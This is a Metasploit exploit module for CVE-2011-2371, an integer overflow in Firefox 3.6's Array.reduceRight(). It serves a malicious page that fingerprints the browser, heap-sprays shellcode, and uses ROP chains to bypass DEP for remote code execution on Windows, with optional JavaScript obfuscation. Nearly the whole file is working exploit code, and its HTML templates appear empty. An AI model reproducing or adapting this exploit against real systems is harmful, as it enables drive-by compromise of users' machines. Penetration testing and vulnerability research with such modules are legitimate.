## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Mozilla Firefox Array.reduceRight() Integer Overflow", 'Description' => %q{ This module exploits a vulnerability found in Mozilla Firefox 3.6. When an array object is configured with a large length value, the reduceRight() method may cause an invalid index being used, allowing arbitrary remote code execution. Please note that the exploit requires a longer amount of time (compare to a typical browser exploit) in order to gain control of the machine. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Rohlf', #Matasano Security (Initial discovery according to Mozilla.org) 'Yan Ivnitskiy', #Matasano Security (Initial discovery with Chris?) 'Matteo Memelli', #PoC from Exploit-DB 'dookie2000ca', #"Helping" ryujin (Matteo) 'sinn3r', #Metasploit 'mr_me ', #XP target (no aslr) 'TecR0c ', #XP target (no aslr) ], 'References' => [ ['CVE', '2011-2371'], ['OSVDB', '73184'], ['EDB', '17974'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009'] ], 'Payload' => { 'BadChars' => "\x00", 'PrependEncoder' => "\xbc\x0c\x0c\x0c\x0c", }, 'DefaultOptions' => { 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], [ # if we dont have aslr, lets not deal with it # Windows XP (no JAVA) 'Mozilla Firefox 3.6.16 (no JAVA)', { 'pivot' => 0x104C26F0, # 1st pivot [push esi;pop esp;and [esi+44],0;xor eax,eax;pop esi;retn 4] 'pivot2' => 0x10055326, # 2nd pivot [add esp,40;ret] } ], [ #Vista / win 7 (using JAVA) to defeat aslr 'Mozilla Firefox 3.6.16 (JAVA)', { 'pivot' => 0x7c370eef, # 1st pivot [lea esp,[esi-3];dec [ebx];ret 1C75] 'pivot2' => 0xcafebabe, # fake } ], ], 'Privileged' => false, 'DisclosureDate' => '2011-06-21', 'DefaultTarget' => 0 )) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ]) end def junk(n=4) return rand_text_alpha(n).unpack("L")[0].to_i end def on_request_uri(cli, request) agent = request.headers['User-Agent'] if agent !~ /Firefox\/3\.6\.(16|17)/ print_error("This browser is not supported: #{agent}") send_not_found(cli) return end my_target = target if my_target.name == 'Automatic' if agent =~ /NT 5\.1/ && agent =~ /Firefox\/3\.6\.16/ my_target = targets[1] elsif agent =~ /NT 6\.[01]/ && agent =~ /Firefox\/3\.6\.16/ my_target = targets[2] else print_error("This browser is not a viable target: #{agent}") send_not_found(cli) return end end table = [junk(2)].pack('v*') table << [ 0x0c000048, junk, junk, junk, junk, junk, junk, junk, junk, ].pack('V*') table << [junk(2)].pack('v*') table << [ my_target['pivot'], junk, ].pack('V*') table << [junk(2)].pack('v*') table << [ 0x3410240c, 0x0c00007c, my_target['pivot2'], junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, junk, 0x0c00002e, ].pack('V*') # random js_applet = rand_text_alpha(rand(10) + 5) a_trigger = rand_text_alpha(rand(10) + 5) randnop = rand_text_alpha(rand(100) + 1) js_nops = Rex::Text.to_unescape("\x0c"*4) if my_target.name =~ /\(JAVA\)/ #mona.py tekniq! + Payload rop = [ 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # Make EAX readable 0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll) 0x7c348b06, # EBP (NOP) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # <- VirtualProtect() found in IAT 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll) 0x7c346c0b, # Slide, so next gadget would write to correct stack location 0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll) 0x7c348b06, # EDI (filler) 0x7c348b06, # will be patched at runtime (VP), then picked up into ESI 0x7c348b06, # EBX (filler) 0x7c376402, # POP EBP # RETN (msvcr71.dll) 0x7c345c30, # ptr to push esp # ret (from MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0xfffff82f, # size 20001 bytes 0x7c351e05, # NEG EAX # RETN (MSVCR71.dll) 0x7c354901, # POP EBX # RETN (MSVCR71.dll) 0xffffffff, # pop value into ebx 0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll) 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll) 0x7c34d201, # POP ECX # RETN (MSVCR71.dll) 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) 0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll) 0x7c34b8d8, # ROP NOP (-> edi) 0x7c344f87, # POP EDX # RETN (MSVCR71.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target: edx 0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x90909090, # NOPS (-> eax) 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll) ].pack('V*') p = payload.encoded arch = Rex::Arch.endian(target.arch) js_payload = Rex::Text.to_unescape(rop + p, arch) js_ptrs = Rex::Text.to_unescape(table, arch) #Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap js = <<-JS var applet = document.getElementById('#{js_applet}'); function spray() { var ptrs = unescape("#{js_ptrs}"); var bheader = 0x12/2; var nullt = 0x2/2; var espoffset = (7340 /2) - ptrs.length; var #{randnop} = "#{js_nops}"; var esppadding = unescape(#{randnop}); while(esppadding.length < espoffset) esppadding += esppadding; esppadding = esppadding.substring(0, espoffset); var payload = unescape("#{js_payload}"); var tr_padding = unescape(#{randnop}); while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;} var dummy = ptrs + esppadding + payload + tr_padding; var hspray = dummy.substring(0,0x7fa00 - bheader - nullt); HeapBlocks = new Array() for (i=0;i<0x60;i++){ HeapBlocks[i] += hspray; } } spray(); obj = new Array; obj.length = 2197815302; f = function trigger(prev, myobj, indx, array) { alert(myobj[0]); } obj.reduceRight(f,1,2,3); JS js = js.gsub(/^ {4}/, '') if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate(memory_sensitive: true) end html = <<-HTML HTML elsif my_target.name =~ /\(no JAVA\)/ # DEP bypass using xul.dll rop = [ junk, junk, junk, junk, junk, 0x101f1806, # POP EAX # RETN [xul.dll] 0x1083828C, # ptr to &VirtualAlloc() [IAT xul.dll] 0x103e0d7b, # MOV ESI,DWORD PTR DS:[EAX] # RETN [xul.dll] 0x102d8002, # POP EBP # RETN [xul.dll] 0x1003876b, # & jmp esp [xul.dll] 0x10040001, # POP EBX # RETN [xul.dll] 0x00000001, # 0x00000001-> ebx 0x104e6917, # POP EDX # RETN [xul.dll] 0x00001000, # 0x00001000-> edx 0x102ac000, # POP ECX # RETN [xul.dll] 0x00000040, # 0x00000040-> ecx 0x102e0005, # POP EDI # RETN [xul.dll] 0x102ac001, # RETN (ROP NOP) [xul.dll] 0x101f1806, # POP EAX # RETN [xul.dll] 0x90909090, # nop 0x102b3401, # PUSHAD # RETN [xul.dll] ].pack("V*") p = payload.encoded arch = Rex::Arch.endian(target.arch) js_payload = Rex::Text.to_unescape(rop + p, arch) js_ptrs = Rex::Text.to_unescape(table, arch) # java loading forces the alloctor to use more blocks, since we # dont load java we will just spray a little more.. js = <<-JS var myobject = document.getElementById('d'); function spray() { var ptrs = unescape("#{js_ptrs}"); var bheader = 0x12/2; var nullt = 0x2/2; var payload = unescape("#{js_payload}"); var #{randnop} = "#{js_nops}"; var tr_padding = unescape(#{randnop}); while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;} var dummy = ptrs + payload + tr_padding; var hspray = dummy.substring(0,0x7fa00 - bheader - nullt); HeapBlocks = new Array() for (i=0;i<0x100;i++){ HeapBlocks[i] += hspray; } } spray(); obj = new Array; obj.length = 2197815302; f = function trigger(prev, myobj, indx, array) { alert(myobj[0]); } obj.reduceRight(f,1,2,3); JS if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate(memory_sensitive: true) end js = js.gsub(/^ {4}/, '') html = <<-HTML HTML end html = html.gsub(/^ {4}/, '') print_status("Sending #{self.name}") send_response(cli, html, {'Content-Type'=>'text/html'}) end end